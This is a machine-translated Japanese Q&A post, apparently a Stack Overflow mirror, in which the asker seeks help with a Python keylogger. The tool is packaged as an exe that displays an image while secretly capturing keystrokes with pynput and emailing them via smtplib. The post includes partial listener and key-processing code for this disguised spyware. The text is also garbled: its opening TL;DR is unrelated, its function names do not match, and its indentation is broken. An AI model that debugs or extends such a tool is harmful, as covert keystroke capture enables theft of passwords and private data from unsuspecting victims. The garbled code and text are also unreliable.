0

TL;DR: バグを見つけましたが、まだ解決していません:
英語で入力 (左側)、ヘブライ語で表示 (右側)

Ubuntu マシン (VMware) のpython 2.7で単純なキーロガーを作成しました。作成された exe ファイルは、画像を表示し、バックグラウンドでキーロガーを実行することになっています。ホストコンピューター(VMwareホスト、pythonがインストールされていない)で動作していますが、私が持っている他のコンピューターでは動作していません(pythonもありません)。画像は表示されますが、smtplib を使用して電子メールを送信できません

キーストロークの処理には、次のようにpynputを使用しました。

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

そして process_keystrokes は次のとおりです。

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

キーロガーが開始されたという最初の通知を除いて、私のWindowsマシンでは何も送信されません。

pycharm からも実行しようとしましたが、数秒実行した後、次の例外が発生します。

ファイル "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py"、855 行目、sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError:'ascii ' コーデックは位置 6 ~ 11 の文字をエンコードできません: 序数が範囲外です (128)

誰が私が間違っているのか知っていますか? キーストロークを正しく解析するにはどうすればよいですか? いくつかのマニュアルを試しましたが、解決策が見つかりませんでした。

助けていただければ幸いです、ありがとう。

4

0 に答える 0